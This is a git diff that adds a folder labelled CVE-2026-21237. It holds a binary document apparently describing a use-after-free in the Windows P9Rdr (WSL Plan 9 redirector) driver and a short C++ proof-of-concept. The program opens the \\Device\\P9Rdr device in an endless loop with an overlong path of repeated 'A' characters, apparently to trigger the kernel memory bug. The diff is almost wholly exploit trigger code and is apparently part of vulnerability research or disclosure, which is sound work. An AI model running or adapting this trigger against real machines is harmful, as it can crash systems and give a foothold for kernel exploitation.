diff --git a/CVE-2026-21237/P9Rdr_UAF.docx b/CVE-2026-21237/P9Rdr_UAF.docx new file mode 100644 index 0000000..1dfedd3 Binary files /dev/null and b/CVE-2026-21237/P9Rdr_UAF.docx differ diff --git a/CVE-2026-21237/P9rdrTest1.cpp b/CVE-2026-21237/P9rdrTest1.cpp new file mode 100644 index 0000000..e7739c1 --- /dev/null +++ b/CVE-2026-21237/P9rdrTest1.cpp @@ -0,0 +1,52 @@ + + +#include +#include + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + + +HANDLE OpenDevice() { + HANDLE hDevice = NULL; + + UNICODE_STRING usName = { 0 }; + + //PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AA"; + + PCWSTR lpcwName = L"\\Device\\P9Rdr\\wsl.localhost\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\dd"; + + + RtlInitUnicodeString(&usName, (PWSTR)lpcwName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL); + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + + NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0); + + printf("OpenDevice Status=0x%x\t\tlpcwName=%ls\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, lpcwName, hDevice, GetLastError(), IoStatusBlock.Information); + + return hDevice; +} + + +void HostMain() { + + while (1) { + OpenDevice(); + } +} + + +int wmain(int argc, WCHAR* argv[]) +{ + HostMain(); + return 0; +} + +int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, + PWSTR szCmdLine, int iCmdShow) +{ + return wmain(__argc, __wargv); +} \ No newline at end of file